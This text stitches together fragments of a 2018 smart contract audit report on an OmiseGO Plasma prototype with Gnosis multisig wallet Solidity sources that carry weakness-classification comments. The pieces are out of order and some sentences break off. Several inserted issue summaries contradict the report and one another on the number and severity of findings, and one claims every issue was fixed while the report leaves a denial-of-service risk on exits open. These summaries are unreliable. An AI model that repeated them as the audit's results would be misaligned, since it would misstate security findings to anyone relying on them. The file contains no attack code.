............. [ 69%]tests/contracts/root_chain/test_start_standard_exit.py ........ [ 79%]tests/contracts/root_chain/test_submit_block.py .. [ 82%]tests/contracts/root_chain/test_tokens.py .. [ 84%]tests/utils/test_fixed_merkle.py ............ [100%] =============== 78 passed, 1 skipped in 167.41 seconds =============== rm -fr .pytest_cache Code Coverage We were unable to measure code coverage due to lack of automated tools.Oyente Repository: https://github.com/melonproject/oyente Oyente is a symbolic execution tool that analyzes the bytecode of Ethereum smart contracts. It checks if a contract features any of the predefined vulnerabilities before the contract gets deployed on the blockchain. Oyente Findings Oyente reported integer overflow issues in the contract RootChain.sol. Upon closer inspection, we classified them as false positives. MythrilRepository: https://github.com/ConsenSys/mythril Mythril is a security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Mythril Findings Mythril reported the following issues: • the use of assert in place of require in SafeMath.sol functions. It is a known and benign issue with former Open Zeppelin implementations. • potential integer overflows in the contract RootChain.sol . Upon closer inspection, we classified them as false positives. • execution of the function transfer() on a user-provided token contract. As described in the section Vulnerabilities, it may result in re-entrancy attackson the contract. • multiple calls to transfer() in a single transaction in the contract RootChain.sol in the function finalizeExits() . • violation of checks-effects-interactions pattern (described in the section Vulnerabilities). MAIAN Repository: https://github.com/MAIAN-tool/MAIAN MAIAN is a tool for automatic detection of trace vulnerabilities in Ethereum smart contracts. It processes a contract's bytecode to build a trace of transactions to find and confirm bugs. MAIAN Findings MAIAN reported no issues. SecurifyRepository: https://github.com/eth-sri/securify Securify Findings Securify reported the following issues: • reentrant method call in the contract RootChain.sol (discussed in the section Vulnerabilities) • unrestricted write to storage in the contracts PriorityQueue.sol and RootChain.sol . Upon closer inspection, we classified them as false positives. • division before multiplication in the function startExit() in the contract RootChain.sol . Upon closer inspection, we classified it as a false positive. • unsafe call to untrusted contract, i.e., execution of the function transfer() on a user-provided token contract. As described in the section Vulnerabilities, it may result in re-entrancy attacks on the contract. • unsafe dependence on block information in the contract RootChain.sol . Upon closer inspection, we classified it as a false positive.The code mostly adheres to the specification. The specification lists simplifying assumption and explains that certain features will be available in future iterations of Plasma. Code DocumentationThe specification provides enough information to document the design and functionality of this Plasma implementation. The code, on the other hand, lacks functions and parameters descriptions. We recommend documenting the code to make it easier it to understand. Minor issues: • contract Math.sol , line 6 says "Math operations with safety checks that throw on error". There are no errors thrown from the function in this contract. • contract PlasmaRLP.sol , line 15 says “Public Functions”. All the functions are marked as internal , not public .Adherence to Specification File Signatures ContractsAppendix contracts/StandardToken.sol: e7e12ad1dfa1bafacf6344fc9a224607d21022ca0c27bc6581cd6c5c3b09b452contracts/RootChain.sol: 32d01c35688fa585e567c554dd8d4af46869f5ebe09ecfb8d14aec868352bf7bcontracts/ERC20.sol: 5145438d41545f1cccc95d55254f57b3bc81d68da3f9ef4d116bfae55d332104contracts/Ownable.sol: 65c0baa6928524d0ed5e52d48896517f80ee4daf32567ead41129abb1f10c7d7contracts/PlasmaRLP.sol: 1a44f5b4feb6b056fd8d74db6e251ddda03dba6b1adb7d8a9ddcf6bf78e60df6contracts/SafeMath.sol: e264a7d045e91dc9ba0f0bb5199e07ecd250343f8464cc78c9dc3a3f85b075eacontracts/RLP.sol: b19cb751b112df6019d47e51308c8869feecf1f02fad96c4984002638546d75dcontracts/ERC20Basic.sol: 5c1392929d1a8c2caeb33a746e83294d5a55d7340c8870b2c829f4d7f6ed9434contracts/PlasmaCoreTest.sol: 5546ea35adf9b5125dd0ff31e181ea79a65c6fcc90cb07916bf1076ba3c858f8contracts/ECRecovery.sol: 75ed455845e003bc54a192239eeccb55d7b903e6ad3e88d78e7179b54ab46f7fcontracts/Validate.sol: 3516c8eb6feb7aa15c2a3dbcc5e0af43d0b63ce55411dccc3dd2962807392e67contracts/BasicToken.sol: ef72ee7dadaea54025fd939d0bee23b0d29a278d29b4542360b5ecf783fecf68contracts/PlasmaCore.sol: 059bc9060210e0d4ab536a52e66ded1252b7999c67c7dab8f4364432a0cae001contracts/RLPTest.sol: 0eac6636e98d5f6a4f339136f6db7f41f7ac23221ae951b0e15e3eefa39cabe6contracts/Merkle.sol: edcb7231316beef842ad158d574f803a0ac1df755e84919f0f7a6a332dbea9b2contracts/Math.sol: 2658a2d9ca772268a47dc3ca42b03e8c8181ff4667a4f980843588d0c5a70412contracts/ByteUtils.sol: ea966e98d3e3c4c484f3d144ca2e76e7acdc8dbae84e685bc554ce9de4a9ab01contracts/MintableToken.sol: cc4d0a06c40f86926ddcb5cb19bf8b219794313f6754b5b6be856b73465c835ccontracts/PriorityQueue.sol: 006123b56ea6adc32ad4878900e76456af6ae469baa79ad29b8c32adb88e47c3Tests tests/conftest.py: 708eb79cb3ae6cd24317ca43edafa4b6abcd2835696e942161ebe0eb027be25btests/contracts/root_chain/test_challenge_standard_exit.py: b0391ba594526ee0f23e0233162a2c9dcc42ef28112ecf2053cb8c680722d059tests/contracts/root_chain/test_deposit.py: bac756caed71d8b1013b77bd96fba5c2ca6998b485cbc58a7c5f2722d12267fctests/contracts/root_chain/test_start_standard_exit.py: 6be00c1906f35dd4f812d5afb8a01953becd7d363c53555b80139cd20e61d76ctests/contracts/root_chain/test_process_exits.py: c29e79ac6ade42272e11a77c3c072d2d80d71edb023ba2c25b322d0d8d8a31c1tests/contracts/root_chain/test_exit_from_deposit.py: b2e9789729dc90931208d2692d28607fcd0e222f96f7da3c64b3fbe8551d4066tests/contracts/root_chain/test_fee_exit.py: 725c394b7ccc9eabf4a15de95308a21147c062f36ecf53ad8fb21fe5c5491194tests/contracts/root_chain/test_submit_block.py: 20dcdaa37a6636b3fd40c0d71ba81d52744eb2b2ba36ee9d36e1e41e5f55b0a3tests/contracts/root_chain/test_tokens.py: de487397040c3f61426d7c59583c8e85451ac49a48a20a163ec29c0fb67aab38tests/contracts/root_chain/test_long_run.py: e5ae985d426d00f87f7074e172f74d02e899fe68c801ed12b416b197ec3979datests/contracts/priority_queue/test_priority_queue.py: 0513902ae4a464312651742ebc07472ee1a925632f4d34692343331d79c46c6ftests/contracts/rlp/test_rlp.py: ea73d7293db958cef2664d167c623d8852fe3d5020ac8d1469905c164a5ff64ctests/contracts/rlp/test_plasma_core.py: edf18eed0362b2a2985ae3cf269146c763a07cb3a4c5a12e1ef0cdbe6d37dfdctests/utils/test_fixed_merkle.py: 088a8dfde088a9272f18daca6c798879990a57cd9e01c08e27705c91153f67bb Steps Taken to Run the Full Test Suite and Tools • Installed Truffle: npm install -g truffle • Installed Ganache: npm install -g ganache-cli • Installed the solidity-coverage tool (within the project's root directory): npm install --save-dev solidity-coverage • Ran the coverage tool from the project's root directory: ./ node_modules/.bin/solidity-coverage • Flattened the source code using truffle-flattener to accommodate the auditing tools. • Installed the Mythril tool from Pypi: pip3 install mythril • Ran the Mythril tool on each contract: myth -x path/to/contract • Installed the Oyente tool from Docker: docker pull luongnguyen/oyente • Migrated files into Oyente (root directory): docker run -v $(pwd):/tmp - it luongnguyen/oyente • Ran the Oyente tool on each contract: cd /oyente/oyente && python oyente.py /tmp/path/to/contract • Ran the MAIAN tool on each contract: cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol Quantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits.To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation.About Quantstamp Purpose of report The scope of our review is limited to a review of Solidity code and only the source code we note as being within the scope of our review within this report. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity that could present security risks. The report is not an endorsement or indictment of any particular project or team, and the report does not guarantee the security of any particular project. This report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. Specifically, for the avoidance of doubt, this report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. DisclaimerWhile Quantstamp delivers helpful but not-yet-perfect results, our contract reports should be considered as one element in a more complete security analysis. A warning in a contract report indicates a potential vulnerability, not that a vulnerability is proven to exist.Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by QTI; however, QTI does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp Technologies Inc. (QTI). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that QTI are not responsible for the content or operation of such web sites, and that QTI shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that QTI endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. QTI assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Notice of confidentialityThis report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These material are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp.DisclosureThe repository implements tests using python instead of the standard Javascript test suite. As the used toolset does not provide means of measuring the test coverage, the Quantstamp team inspected the implemented tests manually. The implemented tests all pass and we consider the individual test cases reasonable. We found one issue in the test case test_priority_queue_insert_spam_does_not_elevate_gas_cost_above_200 k (file test_priority_queue.py , line 62). The statement while gas_left < 0 should be replaced by while gas_left > 0.
Issues Count of Minor/Moderate/Major/Critical - 2 High Risk Issues - 0 Medium Risk Issues - 1 Low Risk Issues - 10 Informational Risk Issues - 0 Undetermined Risk Issues High Risk Issues - Problem: Violation of child block intervals that are meant to protect against reorgs (fixed in commit 3cc6097) - Fix: Commit 3cc6097 Low Risk Issue - Problem: Possibility of carrying out a denial of service attack on exits - Fix: N/A Informational Risk Issues - Problem: Code does not conform to best practices - Fix: Recommendations provided Observations - 13 issues were identified - 2 High Risk Issues - 0 Medium Risk Issues - 1 Low Risk Issues - 10 Informational Risk Issues - 0 Undetermined Risk Issues Conclusion The contracts provide a prototype implementation of Plasma. Quantstamp has found some important issues with the code, notably: violation of child block intervals that are meant to protect against reorgs (fixed in commit 3cc6097), and a possibility of carrying out a denial of service attack on exits. Furthermore Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Deposit Block Can Be Written Past CHILD_BLOCK_INTERVAL 4.b Fix: Fixed Observations The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructionsprovided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and howmuch code is exercised when we run those test cases. ii Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 1 Critical: 0 Minor Issues: 2.a Problem: depositFrom() calls transferFrom() (line 164). 2.b Fix: Add require check of currentDepositBlock < CHILD_BLOCK_INTERVAL to writeDepositBlock(). Moderate Issues: 3.a Problem: The function depositFrom() takes owner as parameter instead of relying on msg.sender. 3.b Fix: Remove the parameter owner from depositFrom() and rely on msg.sender instead. Major Issues: 4.a Problem: Malicious token contract may block all the subsequent exits for the given token by performing a DOS attack from within the function finalizeExits(). 4.b Fix: Let only the Plasma operator add token contracts which are known to be non-malicious. Observations: Clone-and-Own approach is used for code reuse. Conclusion: The report has identified 1 Minor, 1 Moderate and 1 Major issue. All the issues have been addressed with appropriate fixes. The codebase relies on the clone-and
pragma solidity ^0.4.15; import "./MultiSigWallet.sol"; /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } } // SWC-Floating Pragma: L2 // SWC-Floating Pragma: L3 pragma solidity ^0.4.15; contract Factory { /* * Events */ event ContractInstantiation(address sender, address instantiation); /* * Storage */ mapping(address => bool) public isInstantiation; mapping(address => address[]) public instantiations; /* * Public functions */ /// @dev Returns number of instantiations by creator. /// @param creator Contract creator. /// @return Returns number of instantiations by creator. function getInstantiationCount(address creator) public constant returns (uint) { return instantiations[creator].length; } /* * Internal functions */ /// @dev Registers contract in factory registry. /// @param instantiation Address of contract instantiation. function register(address instantiation) internal { isInstantiation[instantiation] = true; instantiations[msg.sender].push(instantiation); ContractInstantiation(msg.sender, instantiation); } } pragma solidity ^0.4.15; import "./Factory.sol"; import "./MultiSigWalletWithDailyLimit.sol"; /// @title Multisignature wallet factory for daily limit version - Allows creation of multisig wallet. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimitFactory is Factory { /* * Public functions */ /// @dev Allows verified creation of multisignature wallet. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. /// @return Returns wallet address. function create(address[] _owners, uint _required, uint _dailyLimit) public returns (address wallet) { wallet = new MultiSigWalletWithDailyLimit(_owners, _required, _dailyLimit); register(wallet); } } pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } pragma solidity ^0.4.15; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() { owner = msg.sender; } function setCompleted(uint completed) restricted { last_completed_migration = completed; } function upgrade(address new_address) restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity ^0.4.15; import "./Factory.sol"; import "./MultiSigWallet.sol"; /// @title Multisignature wallet factory - Allows creation of multisig wallet. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletFactory is Factory { /* * Public functions */ /// @dev Allows verified creation of multisignature wallet. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @return Returns wallet address. function create(address[] _owners, uint _required) public returns (address wallet) { wallet = new MultiSigWallet(_owners, _required); register(wallet); } } pragma solidity ^0.4.15; /// @title Contract for testing low-level calls issued from the multisig wallet contract TestCalls { // msg.data.length of the latest call to "receive" methods uint public lastMsgDataLength; // msg.value of the latest call to "receive" methods uint public lastMsgValue; uint public uint1; uint public uint2; bytes public byteArray1; modifier setMsgFields { lastMsgDataLength = msg.data.length; lastMsgValue = msg.value; _; } function TestCalls() setMsgFields public { // This constructor will be used to test the creation via multisig wallet } function receive1uint(uint a) setMsgFields payable public { uint1 = a; } function receive2uints(uint a, uint b) setMsgFields payable public { uint1 = a; uint2 = b; } function receive1bytes(bytes c) setMsgFields payable public { byteArray1 = c; } function nonPayable() setMsgFields public { } }pragma solidity ^0.4.15; /// @title Test token contract - Allows testing of token transfers with multisig wallet. contract TestToken { /* * Events */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /* * Constants */ string constant public name = "Test Token"; string constant public symbol = "TT"; uint8 constant public decimals = 1; /* * Storage */ mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; /* * Public functions */ /// @dev Issues new tokens. /// @param _to Address of token receiver. /// @param _value Number of tokens to issue. function issueTokens(address _to, uint256 _value) public { balances[_to] += _value; totalSupply += _value; } /* * This modifier is present in some real world token contracts, and due to a solidity * bug it was not compatible with multisig wallets */ modifier onlyPayloadSize(uint size) { require(msg.data.length == size + 4); _; } /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. /// @return Returns success of function call. function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. /// @return Returns success of function call. function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. /// @return Returns success of function call. function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. /// @return Returns remaining allowance for spender. function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. /// @return Returns balance of owner. function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } }
October 25, 2018 — Quantstamp Verified This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts.Omisego Plasma MVP Protocol Proof of Concept Type Goals Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification Tesuji Plasma Blockchain Design Repository Commit Commit plasma-contracts dbbdaef 3cc6097 13 (2 fixed) Total Issues 2 High Risk Issues 0 Medium Risk Issues 1 Low Risk Issues 10 Informational Risk Issues 0 Undetermined Risk Issues13 issuesSource CodeMethodsKacper Bąk, Senior Research Engineer John Bender, Senior Research Engineer Martin Derka, Senior Research Engineer Yohei Oka, Forward Deployed Engineer Jan Gorzny, Blockchain ResearcherThis report focused on evaluating security of smart contracts, as requested by the omisego-plasma-mvp team. Specific questions to answer: • can users' funds get locked up in the Plasma child chain? • can users successfully exit their funds should the need arise? • can the operator steal users' funds? • are funds protected against reorgs? Overall Assessment The contracts provide a prototype implementation of Plasma. Quantstamp has found some important issues with the code, notably: violation of child block intervals that are meant to protect against reorgs (fixed in commit 3cc6097), and a possibility of carrying out a denial of service attack on exits. Furthermore, we also give a set of recommendations to ensure that the code conforms to the best practices.Changelog This report focused on evaluating security of smart contracts, as requested by the omisego-plasma-mvp team. Specific questions to answer: • Date: 2018-10-11 - Initial report • Date: 2018-10-16 - Added recommendations and updated test section• Date: 2018-10-22 - Investigated the relevant part of the diff between commits dbbdaef and 3cc6097Auditors Solidity, Python Languages2018-09-24 through 2018-10-11 TimelineExecutive Summary Severity Categories Informational The issue does not pose an immediate threat to continued operation or usage, but is relevant for security best practices, software engineering best practices, or defensive redundancy. Undetermined The impact of the issue is uncertain.The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low-impact in view of the client’s business circumstances.LowThe issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact.MediumThe issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users.High Quantstamp's objective was to evaluate the omisego-plasma-mvp repository for security-related issues, code quality, and adherence to specification and best- practices. Possible issues we looked for include (but are not limited to): • Transaction-ordering dependence • Timestamp dependence • Mishandled exceptions and call stack limits • Unsafe external calls • Integer overflow / underflow • Number rounding errors• Reentrancy and cross-function vulnerabilities • Denial of service / logical oversights • Access control • Centralization of power • Business logic contradicting the specification • Code clones, functionality duplication • Gas usage • Arbitrary token minting Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructionsprovided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and howmuch code is exercised when we run those test cases. ii. 